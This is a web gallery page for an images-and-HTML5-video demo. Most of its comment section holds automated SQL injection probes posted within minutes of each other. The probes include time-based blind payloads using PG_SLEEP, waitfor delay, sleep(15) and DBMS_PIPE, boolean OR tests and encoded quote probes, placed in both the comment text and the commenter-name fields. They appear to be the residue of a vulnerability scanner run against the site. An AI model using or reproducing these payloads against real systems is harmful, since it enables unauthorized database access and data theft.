Galleries > ... > Images and HTML5 videos sort example > Image 1 / 5 ( 8143 views) | | |

This example shows how to include images and HTML5 videos. The videos are marked with v___ which is ignored for sorting. The videos below are provided in mp4 (h.264). If the browser you use does not support this the flash fallback is used. Projektor is used as Html 5 video player and the more native videos you provide (mp4, webm) the less the flash fallback is used. Please read howto 34 about setup and pros and cons of this solution. Download example
Brahma | Comments (81) xXgGmGZa (28.10.2022 14:46) 555
xXgGmGZa (28.10.2022 14:31) @@Fchip
xXgGmGZa (28.10.2022 14:31) 1 ˤˢ%2527%2522
xXgGmGZa (28.10.2022 14:31) 1'"
xXgGmGZa (28.10.2022 14:31) 555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(9 ||CHR(9 ||CHR(9 ,15)||'
xXgGmGZa (28.10.2022 14:31) 555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
xXgGmGZa (28.10.2022 14:31) W20Tl0DP')) OR 424=(SELECT 424 FROM PG_SLEEP(15))--
xXgGmGZa (28.10.2022 14:31) EcYo1dTm') OR 899=(SELECT 899 FROM PG_SLEEP(15))--
xXgGmGZa (28.10.2022 14:31) FgBpQHIz' OR 915=(SELECT 915 FROM PG_SLEEP(15))--
xXgGmGZa (28.10.2022 14:31) -1)) OR 306=(SELECT 306 FROM PG_SLEEP(15))--
xXgGmGZa (28.10.2022 14:31) -5) OR 255=(SELECT 255 FROM PG_SLEEP(15))--
xXgGmGZa (28.10.2022 14:31) -5 OR 804=(SELECT 804 FROM PG_SLEEP(15))--
xXgGmGZa (28.10.2022 14:31) Ioh8jy3S'; waitfor delay '0:0:15' --
xXgGmGZa (28.10.2022 14:31) 1 waitfor delay '0:0:15' --
xXgGmGZa (28.10.2022 14:31) -1); waitfor delay '0:0:15' --
xXgGmGZa (28.10.2022 14:31) -1; waitfor delay '0:0:15' --
xXgGmGZa (28.10.2022 14:31) (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
xXgGmGZa (28.10.2022 14:31) 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
xXgGmGZa (28.10.2022 14:31) 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
xXgGmGZa (28.10.2022 14:31) if(now()=sysdate(),sleep(15),0)
xXgGmGZa (28.10.2022 14:31) -1" OR 2+294-294-1=0+0+0+1 --
xXgGmGZa (28.10.2022 14:31) -1' OR 2+430-430-1=0+0+0+1 or '0WeR4ktj'='
xXgGmGZa (28.10.2022 14:31) -1' OR 2+769-769-1=0+0+0+1 --
xXgGmGZa (28.10.2022 14:31) -1 OR 2+360-360-1=0+0+0+1
xXgGmGZa (28.10.2022 14:31) -1 OR 2+116-116-1=0+0+0+1 --
xXgGmGZa (28.10.2022 14:31) R5B45zVD
xXgGmGZa (28.10.2022 14:31) 555
xXgGmGZa (28.10.2022 14:31) 555
xXgGmGZa (28.10.2022 14:31) 555
xXgGmGZa (28.10.2022 14:31) 555
xXgGmGZa (28.10.2022 14:31) 555
xXgGmGZa (28.10.2022 14:31) 555
xXgGmGZa (28.10.2022 14:31) 555
xXgGmGZa (28.10.2022 14:31) 555
xXgGmGZa (28.10.2022 14:31) 555
xXgGmGZa (28.10.2022 14:31) 555
xXgGmGZa (28.10.2022 14:31) 555
xXgGmGZa (28.10.2022 14:30) 555
xXgGmGZa (28.10.2022 14:30) 555
xXgGmGZa (28.10.2022 14:30) 555
xXgGmGZa (28.10.2022 14:30) 555
xXgGmGZa (28.10.2022 14:30) 555
xXgGmGZa (28.10.2022 14:30) 555
xXgGmGZa (28.10.2022 14:30) 555
xXgGmGZa (28.10.2022 14:30) 555
xXgGmGZa (28.10.2022 14:30) 555
xXgGmGZa (28.10.2022 14:30) 555
@@LNlzU (28.10.2022 14:30) 555
1 ˤˢ%2527%2522 (28.10.2022 14:30) 555
1'" (28.10.2022 14:30) 555
xXgGmGZa'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(9 ||CHR(9 ||CHR(9 ,15)||' (28.10.2022 14:30) 555
KKq75cTE')) OR 409=(SELECT 409 FROM PG_SLEEP(15))-- (28.10.2022 14:30) 555
BYhVK2cG') OR 709=(SELECT 709 FROM PG_SLEEP(15))-- (28.10.2022 14:30) 555
0aBadBB5' OR 425=(SELECT 425 FROM PG_SLEEP(15))-- (28.10.2022 14:30) 555
qKvytlPq'; waitfor delay '0:0:15' -- (28.10.2022 14:30) 555
1 waitfor delay '0:0:15' -- (28.10.2022 14:30) 555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ (28.10.2022 14:30) 555
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z (28.10.2022 14:30) 555
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z (28.10.2022 14:30) 555
if(now()=sysdate(),sleep(15),0) (28.10.2022 14:30) 555
-1" OR 2+45-45-1=0+0+0+1 -- (28.10.2022 14:30) 555
-1' OR 2+708-708-1=0+0+0+1 or '6GzQ2IZn'=' (28.10.2022 14:30) 555
-1' OR 2+682-682-1=0+0+0+1 -- (28.10.2022 14:30) 555
-1 OR 2+105-105-1=0+0+0+1 (28.10.2022 14:30) 555
-1 OR 2+843-843-1=0+0+0+1 -- (28.10.2022 14:30) 555
2f89KsxV (28.10.2022 14:30) 555
xXgGmGZa (28.10.2022 14:30) 555
xXgGmGZa (28.10.2022 14:30) 555
xXgGmGZa (28.10.2022 14:30) 555
xXgGmGZa (28.10.2022 14:30) 555
xXgGmGZa (28.10.2022 14:29) 555
xXgGmGZa (28.10.2022 14:29) 555
xXgGmGZa (28.10.2022 14:29) 555
xXgGmGZa (28.10.2022 14:29) 555
xXgGmGZa (28.10.2022 14:29) 555
xXgGmGZa (28.10.2022 14:29) 555
xXgGmGZa (28.10.2022 14:29) 555
xXgGmGZa (28.10.2022 14:29) 555
xXgGmGZa (28.10.2022 14:29) 555
xXgGmGZa (28.10.2022 14:29) 555
xXgGmGZa (28.10.2022 14:29) 555
|
|
Tip: You can use the left/right arrow key to navigate to the next/last image.
|
|
 |
|